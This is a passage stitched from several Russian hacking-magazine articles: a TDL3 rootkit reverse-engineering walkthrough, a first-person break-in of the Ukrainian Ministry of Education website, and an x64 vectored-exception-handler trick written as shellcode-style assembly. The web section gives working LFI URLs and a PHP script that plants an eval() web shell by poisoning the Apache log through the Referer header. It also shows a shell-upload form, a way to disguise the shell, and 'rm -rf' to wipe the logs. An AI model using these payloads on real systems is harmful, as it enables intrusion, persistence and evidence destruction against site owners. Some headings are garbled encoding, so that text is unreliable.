руткита — загрузить хвост в память и пере-
дать на него управление. Наша же задача — 
сдампить хвост в файл для последующего 
анализа в IDA. И здесь можно пойти двумя 
способами. Во-первых, можно сдампить рут-
кит из памяти. Мы знаем структуру хвоста и 
что в его начале идет сигнатура TDL3, потом 

ВЕРНЫЙ ПРИЗНАК, ЧТО СИСТЕМА 
ЗАРАЖЕНА

ЛУЧШЕ УСТАНАВЛИВАТЬ ЭТОТ ПАРАМЕТР, ЕСЛИ СОБИРАЕШЬСЯ ЗА-
ПУСКАТЬ РУТКИТ НА ВИРТУАЛКЕ
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оригинальные ресурсы, а потом код. Берем 
значение RootkitDispatchFunc из основной 
структуры (у меня это 818e2e31) и выполня-
ем команду поиска вниз по памяти сигна-
туры «TDL3».
Теперь осталось сдампить 0x5E00 байт 
(столько байт загрузчик выделяет для 
хвоста), начиная со стартового адреса, 
командой .writemem D:\1.bin 818df000 
l5e00. Второй способ: восстанавливаем 
оригинальные диспатч-функции atapi.sys, 
копируя их из поля OrigAtapiFuncs струк-
туры руткита и далее дампим секторы с 
диска с помощью, например, DiskExplorer. 
Вынести хуки руткита можно одной коман-
дой — m, копирующей память из одного 
буфера в другой; 
m poi(FFDF0308)+8C l70 81957548+38, где 
81957548 — в моем случае адрес объекта-
драйвера atapi.
После этого мы получаем доступ к зара-
женному atapi.sys на диске и скрываемой 
руткитом области на диске. Сектор, с кото-

рого начинается хвост, хранится в поле 
TailStartDiskSector. Точку входа в хвост 
легко определить, зареверсив инфициро-
ванный atapi.sys. Где-то в конце стартовой 
функции загрузчика видим код
Для разбора хвоста грузим его в иду, при 
этом указав в стартовом окне смещение, 
с которого мы дампили хвост в памяти. В 
дальнейшем будет гораздо удобнее рабо-
тать с адресами, которые совпадают как в 
идее, так и в памяти.
Загрузив файл, мы сразу можем перейти 
к разбору основной функции-обработчику 
IRP в рутките. Делаем dd poi(FFDF0308)+fc 
l1 и затем по полученному адресу идем в 
иду, и превращаем код в функцию — кла-
виша P.

VFS ÐÓÒÊÈÒÀ
Ты, должно быть, в недоумении, зачем 
руткиту перехватывать все диспатч-
функции atapi, когда для скрытия секторов 
достаточно одной — IRP_MJ_INTERNAL_
DEVICE_CONTROL (aka IRP_MJ_SCSI). 
Драйверы дисков не обрабатывают create/
close запросы, потому что не работают с 
дескрипторами, как FSD, которым нужно 
инициализировать файловые объекты для 
открываемых файлов. Такие драйверы 
(портов жестких дисков) принимают только 
запросы на чтение/запись секторов и вспо-
могательные запросы от диспетчера PnP 
и связанные с питанием. Тот же atapi.sys 
в незараженном состоянии обрабатывает 
create/close запросы, просто возвращая 
STATUS_SUCCESS.
Дело в том, что руткит резервирует часть 
диска (в его конце) под область, где он 
будет хранить свои файлы, например, dll, 

которые он инжектит в процессы, а также 
сам хвост. Там он организует свою ФС, но 
самое интересное, что руткит монтирует 
ее на объект \Device\Ide\IdePortX, обраба-
тывая таким образом запросы на чтение/
записи к файлам, которые поступают как 
из самого руткита, так и из его юзермодной 
части. Например, сам хвост может обра-
щаться к своей ФС для чтения конфигура-
ционного файла. VFS подробно расписана 
в white paper DrWeb, поэтому я не буду 
повторяться, а предоставляю тебе возмож-
ность изучить это самостоятельно. 
Для обращения к файлам в разделе рут-
кита нужно знать уникальную сигнатуру, 
которую он хранит по смещению 0x254 
структуры (DirSignature). Полный же путь 
формируется как (DirFullPath) имя_драй-
вера_порта + сигнатура_каталога (на моей 
машине выглядит как \Device\Ide\IdePort1\
riyuicvp).
В силу того, что руткит виртуализует доступ 
к своим файлам, Win32 API вполне спо-
собны открывать файлы типа \Device\Ide\
IdePort1\riyuicvp\tdlwsp.dll. В одной из вер-
сий руткита, очевидно, произошла ошибка, 
и dll, которую руткит должен был удалить 
из PEBа, оказалась видна.

ÒÅÕÍÈ×ÅÑÊÀß ÍÀ×ÈÍÊÀ
Теперь посмотрим на то, как хвост прово-
дит подготовительные действия инициа-
лизации. После того, как руткит открыл 
драйвер-порта на диске, он ищет его 
объект-устройство с флагом FILE_DEVICE_
CONTROLLER, к которому будет при-
монтирована его FS. Далее производит 
полную инициализацию своей структуры 
и заражает драйвер в памяти, кроме 
того, составляет карту секторов и смеще-
ний драйвера-порта, которые он должен 
скрыть (массив HideAreaEntry).
Для затруднения анализа руткита при 
установке callback-функций он рассчиты-
вает смещения до этих функций, вычисляя 
дельту, а затем вычитая из нее значение 
до получения требуемого смещения. 
Чтобы найти ссылку на функцию, нужно 
сделать обратную операцию вычитания 
дельты из смещения и затем найти ее 
простым поиском. В моем примере функ-
ция вычисления дельты выглядит так 
(смотри картинку «Функция вычисления 
дельты»). Например, ты нашел функцию 
завершения и хочешь узнать, в каком 
месте кода она регистрируется. В при-

ДИСПАТЧ-ФУНКЦИИ УХОДЯТ НЕ-
ИЗВЕСТНО КУДА, НЕСМОТРЯ НА 
ТО, ЧТО УКАЗЫВАЮТ В ТЕЛО ATAPI

НАЧАЛО ХВОСТА РУТКИТА В ПА-
МЯТИ (ТАК ЖЕ ВЫГЛЯДИТ И НА 
ДИСКЕ)

РУТКИТ ЗАИНЖЕКТИЛ DLL В 
EXPLORER И ЗАБЫЛ УБРАТЬ ЕЕ ИЗ 
PEBА

ВЫВОД КОМАНДЫ DEVSTACK, ВЫДЕЛЕННЫЙ ДРАЙВЕР - \DRIVER\
ATAPI НАХОДИТСЯ НИЖЕ DISK.SYS. ОН ЖЕ И ЕСТЬ ДРАЙВЕР ПОРТА 
ЖЕСТКОГО ДИСКА 

В ПОСЛЕДУЮЩИХ ВЕРСИЯХ TDL3 
АВТОРЫ ИСПОЛЬЗУЮТ ПОДМЕНУ 
ОБЪЕКТА ДРАЙВЕРА В ОБЪЕКТЕ-
УСТРОЙСТВА, ПРЕДСТАВЛЯЮЩЕ-
ГО ДИСК НА УРОВНЕ ДРАЙВЕРА 
КАНАЛА. ПРИ ЭТОМ ОРИГИНАЛЬ-
НЫЙ ОБЪЕКТ ДРАЙВЕРА ОСТАЕТ-
СЯ ЧИСТЫМ. ВЕРНЫЙ ПРИЗНАК 
ЗАРАЖЕНИЯ СИСТЕМЫ TDL3
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мере ее адрес 8198ACA2. Тогда 8198ACA2-
8a243384=F774791E. Нажимаем <Alt-B> и 
вбиваем адрес в обратном порядке, то есть 
1E 79 74 F7. Функция же обработки всех 
IRP является достаточно простой, особенно 
если знать формат главной структуры рут-
кита. Она выполняет несколько целей: кон-
тролирует скрытие данных раздела руткита, 
скрытие зараженного atapi и обрабатывает 
функции VFS. Итак, если диапазоны 
адресов совпадают со скрываемыми, 
руткит устанавливает свою функцию 
завершения, в которой будет фильтро-
вать данные. В функции завершения 
руткит вначале проверяет диапазон 
секторов для скрываемого раздела и, 
если есть перекрытие, зануляет данные 
в буфере.

ÏÎÑËÅÄÍÈÅ ÂÅÐÑÈÈ
Более поздние версии TDL3 дополнены 
функционалом, который позволяет обхо-
дить антивирусы и антируткиты соответ-
ственно. В версии, следующей за вышео-
писанной, используется несколько другая 
техника перехватов. Диспатч-таблица 
функций atapi остается нетронутой, но рут-
кит создает fake-объект драйвера со своими 
диспатч-функциями и перезаписывает ука-
затель в устройстве, которое обслуживает 
загрузочный диск, на свой драйвер. На этом 
возможности столь продвинутого руткита 

не заканчиваются. Для сокрытия данных 
на чтение он перехватывает DriverStartIo-
функцию в DRIVER_OBJECT. Если ты слы-
шал, эта функция используется для построе-
ния очереди IRP-пакетов, с последующим 
извлечением их оттуда. Диспатч-функция 
вызывает IoStartPacket, что в свою очередь 
приведет к вызову функции StartIo, которая 
перехвачена руткитом. 

Если клиент пытается читать скрываемые 
сектора, руткит устанавливает свою функ-
цию завершения, в которой фильтрует 
данные. z 

СНЯТИЕ ХУКОВ В ДРАЙВЕРЕ-ПОРТА ДИСКА

ПО СМЕЩЕНИЮ 0X384 ОТ ХВОСТА, 
РУТКИТ ПЕРЕДАЕТ УПРАВЛЕНИЕ 
ОСНОВНОЙ ЧАСТИ

НАЧАЛО ОСНОВНОЙ ДИСПАТЧ-
ФУНКЦИИ

ФУНКЦИЯ ВЫЧИСЛЕНИЯ ДЕЛЬТЫ

ЗАНУЛЕНИЕ ДАННЫХ В БУФЕРЕ, 
ЕСЛИ В НЕГО ПОПАДАЕТ ЧАСТЬ 
ОБЛАСТИ ДИСКА, СКРЫВАЕМОГО 
РУТКИТОМ

НЕПРИМЕТНЫЙ ПЕРЕХВАТ ФУНКЦИИ STARTIO У ПОРТ-ДРАЙВЕРА, 
С ПОМОЩЬЮ КОТОРОГО ОН КОНТРОЛИРУЕТ ОБРАЩЕНИЯ К ДИСКУ. 
ВЕРНЫЙ ПРИЗНАК ЗАРАЖЕНИЯ TDSS 3.20

ЗАДАЕМ СМЕЩЕНИЕ ДЛЯ ЗАГРУЗ-
КИ ФАЙЛА
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Â ÏÎÑËÅÄÍÅÅ ÂÐÅÌß ÌÍÅ ÂÑÅ ×ÀÙÅ ÏÎÏÀÄÀÞÒÑß ÓßÇÂÈÌÛÅ 
ÃÎÑÓÄÀÐÑÒÂÅÍÍÛÅ ÑÀÉÒÛ. À ÏÐÈ×ÈÍÀ ÁÀÍÀËÜÍÀ: ÑÀÉÒÛ ÄÀÆÅ ÒÀÊÎÃÎ 
ÓÐÎÂÍß ÏÎÐÓ×ÀÞÒ ÏÈÑÀÒÜ ÍÅÏÐÎÔÅÑÑÈÎÍÀËÀÌ, ÇÀ ÑÎÑÒÎßÍÈÅÌ 
ÑÀÉÒÀ ÍÅ ÑËÅÄßÒ, ÑÀÏÏÎÐÒ ÅÌÅÉË ÍÅ ÏÐÎÂÅÐßÅÒ. ÀÓÄÈÒ ÁÅÇÎÏÀÑÍÎÑÒÈ 
Ñ×ÈÒÀÞÒ ÐÎÑÊÎØÜÞ, ÕÎÒß ÍÀ ÑÀÌÎÌ ÄÅËÅ ÝÒÎ ÍÅÎÁÕÎÄÈÌÎÑÒÜ.
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ÑÀÉÒÛ 

Ñ
мысл этого взлома не нажива или 
выгода с залитого шелла. Хочется 
показать, насколько бывают уяз-
вимы сайты высочайшего уровня. 
Казалось бы, защита их должна быть 

на первом месте, ведь нетрудно представить, 
что за собой влечет взлом государственного 
сайта. Что, если проникнуть в локальную сеть 
и получить доступ к компьютерам, на которых 
хранится информация, например, о внешнем 
независимом тестировании (в случае сайта 
МОН Украины)? Что тогда? Возможно, будет 
под вопросом подлинность сертификатов, 
которые требует каждое высшее учебное заве-
дение? Поспешу успокоить: делать я этого не 
стал, а обо всех ошибках сообщил на электрон-
ный адрес поддержки сайта.

ÂÛÁÈÐÀÅÌ ÆÅÐÒÂÓ
Не знаю, как тебе, а мне легче искать уязвимо-
сти под какую-нибудь веселую музыку. Включаю 
Disturbed — Perfect Insanity и открываю Гугл. 
Вбиваем запрос «міністерство» и видим ни 
много, ни мало 15400000 результатов. Открываю 
первую ссылку и попадаю на сайт Министерства 

образования и науки Украины. Сразу бросилось 
в глаза, что сверху надпись «The official site 
2004», а новости — свеженькие. «Давненько не 
обновлялись», — подумал я и пробежался мыш-
кой по менюшке, смотря за статус баром. Все 
линки вида http://site/dir. Возможно, настроен 
mode_rewrite, но после клика по ссылке увидел 
в адресной строке: http://www.mon.gov.ua/main.
php?query=zno. Попробовал на раскрытие путей, 
заменив параметр «query» на «query[]», но не 
тут-то было: ошибка не вывелась, хотя верстка 
явно поехала. Либо выключен вывод ошибок, 
либо уязвимости тут просто нет. Я чувствовал, 
что все же уязвимость есть, и решил проверить 
на RFI. И опять никакого результата.  Что ж, 
можно попробовать подобрать путь к корню 
сервера, так как запущенный сканер не нашел 
мне phpinfo. Но сначала нужно убедиться, 
действительно ли это Local File Inclusion, и 
есть ли возможность обрезать нулл-байтом 
расширение. Я просто попытался заинклудить 
уязвимый файл:

http://www.mon.gov.ua/main.

php?query=main.php%00.

В результате, страничка начала выводиться 
бесконечное количество раз, образуя пира-
мидку. Это свидетельствует о том, что уязви-
мость существует, но пока мы не можем точно 
сказать, удаленный или локальный инклуд.
Вот еще пример не только LFI, но и Looped DoS.  
Таким запросом можно запросто «уложить» сайт. 
Быстро остановивши загрузку страницы, я начал 
подставлять в запрос символы выхода из дирек-
тории. Путь подобрал с третьего раза. Думаю, ты 
понял, сколько там должно быть «../»?

FORBBIDEN. ÀÍÀËÈÇÈÐÓÅÌ ÑÈÒÓÀÖÈÞ
Насколько же стало легче заливать шеллы, 
после того как додумались использовать /
proc/self/environ! Послал POST-запрос с 
поддельным User-Agent’ом и все дела. 
Попробуем и мы: http://www.mon.gov.ua/main.
php?query=../../../proc/self/environ%00. Облом, 
никакого вывода. Но есть же логи апача!   

main.php?query=../../../proc/self/

fd/2%00

И что же? 

GOV
ÏÎÄ ÓÃÐÎÇÎÉ  ÂÇËÎÌ ÑÀÉÒÀ 
ÌÈÍÈÑÒÅÐÑÒÂÀ ÎÁÐÀÇÎÂÀÍÈß È ÍÀÓÊÈ 
ÓÊÐÀÈÍÛ
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[Sun Nov 15 07:41:42 2009] [error] 

[client 92.249.112.225] client 

denied by server configuration: /

usr/share/phpMyAdmin/

[Sun Nov 15 08:43:31 2009] [error] 

[client 65.55.109.220] client 

denied by server configuration: /

usr/share/phpMyAdmin/phpAdsNew, 

referer: http://xxxx.us/album/

thumbnails.php?album=search&search

=releases

Причем весь лог такой. «Хм, на лог доступа 
не совсем похоже». И правильно, потому 
что здесь только ошибка № 403 — Forbbiden. 
User-Agent не пишется в этот лог, но пишется 
Referer, который точно так же легко под-
делывается. Главное — найти страницу, 
которая нам бы выдала заветную ошибку 403. 
Пересмотрев лог, становится понятно — 
это  phpMyAdmin. Проверяем, открыв в 
браузере страницу: http://www.mon.gov.ua/
phpMyAdmin, и получаем нужный нам ответ 
от сервера. Напишем простенький скрипт на 
PHP для подделки Referera’a:

<?php

$server  = 

'212.111.193.189';

$dir  = '/phpMyAdmin/';

$evilcode = '<?php eval($_

REQUEST[ev]); ?>';

$header   = "GET " 

.$dir. " HTTP/1.0\r\n";

$header  .= "Host: " 

.$server. "\r\n";

$header  .= "Referer: 

" .$evilcode. "\r\n";

$header  .= 

"Connection: close\r\n\r\n";

$fp = fsockopen($server, 80);

if(!$fp) { die("[ X ] Connection 

failed");} else { echo "[ ~ ] 

Connection successful \r\n";}

if(fputs($fp,$header)) {echo "[ 

~ ] Data sended! \r\n";} else { 
die("[ X ] Error While sending 

headers!"); }

$result = fgets($fp, 128); 

if(strpos($result,'Forbidden')) 

echo "[ ~ ] Successful! \r\n"; 

else die("[ X ] Failed!");

?>

Если тебе лень писать скрипт, можешь 
использовать уже готовые автоматизирован-
ные программы, подойдет любая, например, 
InetCrack, HttpREQ от [x26]VOLAND, или обой-
тись плагинами для FireFox.
ÇÀËÈÂÀÅÌ ØÅËË
После того, как мы выполнили запрос, он 
должен записаться в лог. Так как мы замени-
ли реферер, лог должен принять вид:

[Xxx Xxx xx xx:xx:xx 2009] [error] 

[client xx.xx.xx.xx] client denied 

by server configuration: /usr/

share/phpMyAdmin/ , referer: <?php 

eval($_REQUEST[ev]); ?>

Следовательно, при загрузке лога через 
уязвимый скрипт выполнится наш код. 
Проверим в браузере: http://www.mon.
gov.ua/main.php?query=../../../proc/self/
fd/2%00&ev=ls+la. Свершилось, мы увидели 
список директорий. Пытаюсь залить шелл 
известными качалками типа wget, get, links, 
lynx, но ничего не получается. Пробую сде-
лать  html-форму для заливки шелла:

<form action="http://www.mon.gov.

ua/main.php?query=../../../proc/

self/fd/2%00&ev=copy($_FILES[file]

[tmp_name], $_GET[aa]);&aa=./

mon.php" method="post" 

enctype="multipart/form-data">

<input type="file" 

name="file"><br> 

<input type="submit" 

value="Çàãðóçèòü"><br>

</form>

Спокойно заливаю шелл со своего компью-
тера и захожу на него, ввожу пароль (никогда 
не забывай ставить уникальные пароли на 
шеллы). Просмотрев листинг файлов, увидел 
2 пустых файла с названием error.php и error. 
Прекрасная возможность спрятать наш шелл. 

Беру тот же лог с ошибками, вставляю в 
начало файла. Выглядит примерно так: 

<?php/*

[Mon Nov 16 11:14:07 2009] 

[error] [client ::1] client denied 

by server configuration: /usr/

share/phpMyAdmin/

[Mon Nov 16 11:14:08 2009] 

[error] [client ::1] client denied 

by server configuration: /usr/

share/phpMyAdmin/

[Mon Nov 16 11:14:14 2009] 

[error] [client ::1] client denied 

by server configuration: /usr/

share/phpMyAdmin/

[Mon Nov 16 11:14:15 2009] 

[error] [client ::1] client denied 

by server configuration: /usr/

share/phpMyAdmin/

[Mon Nov 16 11:14:18 2009] 

[error] [client ::1] client denied 

by server configuration: /usr/

share/phpMyAdmin/

... 

 */ ìíîãî âîçâðàòîâ êàðåòêè?>

<?PHP

             //Authentication

$login = ""; //Login

$pass = "";  //Pass

... ?>

Не стоит объяснять, что строчку из лог-файла 
необходимо повторить много раз. Этим мето-
дом пользуются часто, так что можешь взять 
на заметку при поиске шелла. Также можно 
вставлять в начало текст лицензий или копи-
райты движка, на котором стоит сайт. Обычно, 
после того как админ увидит текст лицензии 
GNU, не задумываясь, он закрывает файл, что 
и надо атакующему. После взлома следует уда-
лять логи. Слава Богу, у меня хватило прав, и 
я сделал «rm –rf /var/log/httpd/». Хочу сказать: 
не стоит ломать сайты, это карается законом. 
Но если ты все же решился, будь «белым» и 
сообщи администраторам о брешах в их систе-
ме (как сразу сделал я после взлома). Автор и 
редакция журнала не несут ответственность 
за твои возможные противоправные деяния, и 
никакого отношения к ним не имеют.  z 

ВЫВОД СИСТЕМНОГО ФАЙЛА ЧЕРЕЗ УЯЗ-
ВИМОСТЬ

PROOFLINK ЗАЛИТОГО ШЕЛЛА 
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ÍÀÂÅÐÍÎÅ, ÒÅÁÅ ÓÆÅ ÄÎÂÎÄÈËÎÑÜ ×ÈÒÀÒÜ ÎÁ ÎÁÐÀÁÎÒÊÅ ÈÑÊËÞ×ÅÍÈÉ 
Â X64. À ÅÑËÈ ÍÅÒ, ÒÎ ÏÎßÑÍÞ, ×ÒÎ ÌÅÕÀÍÈÇÌ ÑÒÐÓÊÒÓÐÍÎÉ ÎÁÐÀÁÎÒÊÈ 
ÈÑÊËÞ×ÅÍÈÉ ÈÇÌÅÍÈËÈ ÄÎ ÍÅÓÇÍÀÂÀÅÌÎÑÒÈ. ÅÑËÈ ÁÛÒÜ ÒÎ×ÍÅÅ, 
ÅÃÎ ÑÄÅËÀËÈ ÑÒÀÒÈ×ÅÑÊÈÌ. ÍÈÊÀÊÈÅ ÌÀÍÈÏÓËßÖÈÈ Ñ ÑÅÃÌÅÍÒÍÛÌ 
ÐÅÃÈÑÒÐÎÌ FS ÓÆÅ ÍÅ ÏÎÌÎÃÓÒ. ÍÎ ÐÅØÅÍÈß ÅÑÒÜ. ÏÓÑÒÜ ÎÍÈ ÏÎÊÀ ÍÅ 
ÎÏÈÑÀÍÛ, ÇÀÒÎ ÏÐÎÂÅÐÅÍÛ ÒÅÎÐÈÅÉ È ÏÐÀÊÒÈÊÎÉ. ÏÎÇÂÎËÜ ÄÎÂÅÑÒÈ 
ÈÕ ÄÎ ÒÅÁß Â ÝÒÎÉ ÍÅÁÎËÜØÎÉ ÑÒÀÒÜÅ.
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Â WINDOWS X64  ÓÑËÎÆÍßÅÌ 
ÀÍÀËÈÇ ÊÎÄÀ Ñ ÏÎÌÎÙÜÞ ÂÅÊÒÎÐÍÎÉ ÎÁÐÀÁÎÒÊÈ 
ÈÑÊËÞ×ÅÍÈÉ 

ÍÅ SEH ÅÄÈÍÛÌ
Могущественный и вездесущий в 32-разрядной системе регистр [fs] 
остался фактически не у дел: часть его функций забрал на себя сег-
ментный регистр gs (например, указатель на TEB в ring-3 ныне лежит 
по адресу gs:30h, на peb — gs:60h). С каждой процедурой отныне свя-
зан свой обработчик, эта связь закрепляется в EXCEPTION_DIRECTORY 
PE-файла. Ну да, адрес обработчика теперь в стеке не хранится, fs 
использовать не можем, то есть SEH теряет свою привлекательность 
для применения в защите. То ли дело раньше — регистрация SEH «на 
лету», какие были времена... 
Но SEH ли единым, как говорится. Один мощный механизм почему-то 
остался не упомянутым в контексте 64-битных ОС Windows. Векторная 
обработка исключений (она же VEH). О ней ты знаешь по опыту рабо-
ты с 32-разрядными Windows (один только Крис не раз писал об этой 
вопиющей теме). Если ты не в курсе, или немного выбился из него, 
прочитай статью Мэта Питрека, посвященную 32-битному VEH — 
wasm.ru/article.php?article=veh.

ÒÅÎÐÈß ÌÅÒÎÄÀ 
Подобно SEH, VEH позволит нам получать управление при возник-
новении эксепшена в программе: достаточно зарегистрировать свой 

обработчик (он же хендлер) функцией из ntdll RtlAddVectoredExceptio
nHandler. 

RtlAddVectoredExceptionHandler(

  ULONG FirstHandler,

  PVECTORED_EXCEPTION_HANDLER

     VectoredHandler )

Большое преимущество векторных обработчиков в том, что они 
выполняются до SEH. Кто не верит, может посмотреть функцию 
RtlDispatchException в ntdll — что вызывается первым? Внутренняя 
функция  RtlpCallVectoredHandlers, а потом уже идет работа со струк-
турными обработчиками.
А теперь о самом интересном! Как нам, собственно, подменить суще-
ствующий обработчик? Скажем, в случае, если мы по какой-то причи-
не не хотим ставить новый вызовом RtlAddVectoredExceptionHandler. 
Ведь чертовски палевно вызывать функцию каждый раз, когда хочешь 
зарегистрировать обработчик исключений. Неэкспортируемая пере-
менная в ntdll RtlpCalloutEntryList хранит указатель на список заре-
гистрированных обработчиков (в Win Xp, в Vista список по-другому 
называется). Каждый элемент списка представлен некой структурой. 

VEH 
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Для удобства назовем ее (по аналогии со статьей Питрека) — 
VECTORED_EXCEPTION_NODE64. Ниже приводится частичный 
листинг RtlAddVectoredExceptionHandler в windows XP x64:

public RtlAddVectoredExceptionHandler

 RtlAddVectoredExceptionHandler proc near

  lea r8, RtlpCalloutEntryList

  jmp     short RtlpAddVectoredHandler

RtlAddVectoredExceptionHandler endp

...

lea r8d, [rdx+20h]

mov rcx, [rcx+30h]

call RtlAllocateHeap 

 ; âûäåëÿåì ïàìÿòü äëÿ óçëà â êó÷å

test rax, rax

mov rdi, rax ; ñîõðàíÿåì óêàçàòåëü íà âûäåëåííûé áëîê 

ïàìÿòè â rdi

Как видно из дизассемблерного листинга, по смещению 18h (запом-
ни его!) в структуре, содержащей инфу об обработчике, хранится его 
шифрованный адрес. 
Вид VECTORED_EXCEPTION_NODE64, полученный по имеющимся 
данным:

struct _VECTORED_EXCEPTION_NODE64

{

    ULONG64   m_pNextNode;

    ULONG64   m_pPreviousNode;

    ULONG64   unknwn;

    PVOID64   m_pfnVectoredHandler;

}

Сама структура, в целом, немногим отличается от той, что дана в ста-
тье Питрека (о 32-битном VEH).
Обратимся снова к анализу  RtlpAddVectoredHandler. На самом деле 
вызов NtQueryInformationProcess и последующий ксор адреса обра-
ботчика здесь не что иное, как функция RtlEncodePointer, вставленная 
в код оптимизирующим компилятором. 
А теперь о замене адресов обработчиков «на лету». Это можно сде-
лать, потому что RtlAddVectoredExceptionHandler возвращает ука-
затель на выделенную структуру VECTORED_EXCEPTION_NODE64. А 
значит, чтобы подменить хендлер динамически, нужно:   
1. зашифровать свой новый обработчик с помощью функции 
RtlEncodePointer (адреса ведь не хранятся в открытом виде);
2. записать шифрованный RtlEncodePointer-указатель по смещению 
18h в VECTORED_EXCEPTION_NODE64. Смещение, надо сказать, 
не поменялось вплоть до Висты, так что юзаем с чистой совестью.

CODING
Попробуем применить прелести VEH на практике. Писать будем в 
shellcode-стиле, как и полагается. Для начала, опишу алгоритм. 
Потребуется:  
1. ÏÎÈÑÊ ÁÀÇÛ ÇÀÃÐÓÇÊÈ NTDLL.DLL.

2. ÍÀÕÎÆÄÅÍÈÅ ÔÓÍÊÖÈÉ RtlAddVectoredExceptionHandler, RtlEncodePointer.
3. ÐÅÃÈÑÒÐÀÖÈß ÑÂÎÅÃÎ ÎÁÐÀÁÎÒ×ÈÊÀ, сохранение указателя на область памя-
ти, где содержится обработчик.
4. ÏÎÄÌÅÍÀ ÀÄÐÅÑÀ ÎÁÐÀÁÎÒ×ÈÊÀ.

Базу загрузки ntdll ищем через PEB:  

....

mov rcx,gs:[60h] ; óêàçàòåëü íà Peb â x64 ðàñïîëàãà-

åòñÿ ïî íîâîìó àäðåñó

mov rcx,[rcx+18h] ; PEB_LDR_DATA

mov rcx,[rcx+10h] 

 ; PEB_LDR_DATA.InLoadOrderModuleList

mov rcx,[rcx] 

mov rbx,[rcx+30h] ; ntdll.dll base

....

А поиск необходимых функций выполняем через разбор таблицы экс-
порта ntdll. Здесь его не привожу, полная реализация кодеса прилага-
ется к статье. Функция у нас не одна, а значит, лучше свернуть имена 
в хеш простым алгоритмом:

....

hash_str:

push rdx

push rsi

sub rax,rax

mov rsi,rdx

sub rdx,rdx

nxt:

cld

lodsb

cmp al,ah

je dn

add dx, ax

rol rdx,14

jmp nxt

dn:

mov rax,rdx

pop rsi

pop rdx

ret

....

В качестве параметра передаем в rdx указатель на строку с 
именем функции и, в конце концов, регистрируем свой хенд-

ИДА — ЛУЧШИЙ ПОМОЩНИК В ИССЛЕДОВАНИЯХ

СТРУКТУРУ PEB МОЖНО ПОСМОТРЕТЬ В LIVEKD 
РУССИНОВИЧА, ПРЕДВАРИТЕЛЬНО ОТКЛЮЧИВ 
ПРОВЕРКУ ЦИФРОВОЙ ПОДПИСИ
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лер (hndlr01). Тут же заменяем «вручную» его адрес на другой 
(hndlr02). Затем мы вызываем исключение привилегированной 
командой rdmsr (чтение машинно-зависимого регистра), и после 
этого будет вызван не  hndlr01 (первоначальный обработчик), а 
hndlr02. Код, демонстрирующий сказанное:  

...

   mov rbx,rsp

   sub rsp,4*8 

   mov rdx, offset hndlr01

   mov rcx, 1 ; first_handler

   call qword ptr [rbx] 

      ; RtlAddVectoredExceptionHandler

   add rsp,4*8 ; âîññòàíàâëèâàåì ñòåê

   push rax ; ñîõðàíÿåì óêàçàòåëü íà íàø VECTORED_

EXCEPTION_NODE64

   sub rsp,4*8 

   mov rcx,offset hndlr02

   call qword ptr [rbx+8] ; RtlEncodePointer

   add rsp,4*8 

   pop rdi ; rdi -> PVECTORED_EXCEPTION_NODE64

   ; ñîõðàíÿåì àäðåñ îáðàáîò÷èêà hndlr02

   mov [rdi+18h],rax

   ; âûçûâàåì èñêëþ÷åíèå

   ; cpl = 3 => exception

   rdmsr

...

Понимаешь, в чем суть? Достаточно единожды вызвать 
RtlAddVectoredExceptionHandler и установить хендлер, а дальше 
можно менять динамически адрес обработчика! От нас требуется 
только хранить указатель на VECTORED_EXCEPTION_NODE64.
То есть, фактически потеря fs скомпенсирована (ну, почти). Этим же 
способом мы можем добавить в список новый обработчик, не вызы-
вая RtlAddVectoredExceptionHandler. 

ÎÒÑËÅÆÈÂÀÅÌ ÂÛÏÎËÍÅÍÈÅ 
VEH-ÎÁÐÀÁÎÒ×ÈÊÎÂ
Представим на минуту, что нам пришлось исследовать код, хитро 
манипулирующий с VEH, как описано выше. Не скажу, что динами-
ческая смена обработчиков сильно затруднит отладку (но не ста-
тический анализ!), так как отловить вызываемый хендлер можно 
через функцию RtlDispatchException. Правда, она неэкспортируе-
мая, но есть экспортируемая функция RtlRaiseException, из которой 
вызывается RtlDispatchException. 

int __fastcall RtlRaiseException(struct _EXCEPTION_RECORD 

*ExceptionRecord, int, int, __int64, __int64, __int64)

....

call RtlVirtualUnwind

mov r11, [rsp+538h+ContextRecord._Rip]

mov [rbx+10h], r11

mov rax, gs:30h

mov rcx, [rax+60h]

cmp byte ptr [rcx+2], 0

jnz loc_77F528CB

lea rdx, [rsp+538h+ContextRecord]

mov rcx, rbx

call RtlDispatchException

....

После того, как нашли RtlDispatchException — переходим по первому 
call в ней — это и есть вызов RtlpCallVectoredHandlers:

...

RtlDispatchException proc near

mov     [rsp+arg_8], rdx

mov     rax, rsp

sub     rsp, 6A8h

mov     [rax+18h], rbx

mov     [rax+20h], rbp

mov     [rax-8], rsi

mov     [rax-10h], rdi

mov     [rax-18h], r12

mov     [rax-20h], r13

mov     [rax-28h], r14

lea     r8, RtlpCalloutEntryList

mov     rbx, rdx

mov     [rax-30h], r15

mov     rsi, rcx

mov     [rsp+6A8h+var_668], 0

call    RtlpCallVectoredHandlers

...

Дальше — ключевые для постановки бряка фрагменты 
RtlpCallVectoredHandlers.
WinXP:

...

loc_77F251F5: ; CODE XREF: 

RtlpCallVectoredHandlers+3F2BE

 mov     rbx, [rsi+18h]

 mov     r9d, 4

 lea     r8, [rsp+88h+var_58]

 lea     edx, [r9+20h]

ОТЛАЖИВАЕМ НАШ ТЕСТОВЫЙ ПРИМЕР ПОД FDBG 
НА САЙТЕ ЖУРНАЛА UNINFORMED ТЫ НАЙДЕШЬ 
СТАТЬИ ПО ОБРАБОТКЕ ИСКЛЮЧЕНИЙ В WINDOWS 
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 mov     rcx, 0FFFFFFFFFFFFFFFFh

 mov     [rsp+88h+var_68], r12

 call    NtQueryInformationProcess

 mov     r11d, [rsp+88h+var_58]

 lea     rcx, [rsp+88h+var_48]

 xor     r11, rbx ; <- ðàñøèôðîâêà àäðåñà îáðàáîò÷èêà

 call    r11 ; <- âûçîâ î÷åðåäíîãî îáðàáîò÷èêà â ñïèñêå

 lock btr cs:dword_77FA58C8, 0

...

Vista:

...

loc_78E9393F: ; CODE XREF: RtlpCallVectoredHandlers-16030

 add     dword ptr [r12+10h], 1

 lea     rbx, [r12+10h]

 mov     rcx, rdi

 mov     [rsp+68h+arg_18], r12

 call    RtlReleaseSRWLockExclusive

 mov     rcx, [r12+18h]

 call    RtlDecodePointer 

 ; <- ðàñøèôðîâêà àäðåñà îáðàáîò÷èêà

 lea     rcx, [rsp+68h+var_48]

 call    rax ; <- âûçîâ î÷åðåäíîãî îáðàáîò÷èêà â ñïèñêå

...

Внимательно посмотрев на листинги, ты, наверняка, понял, что необ-
ходимо найти цикл вызова обработчиков — и дело в шляпе. Найти его 
труда не составляет — в нем обязательно находится вызов функции 

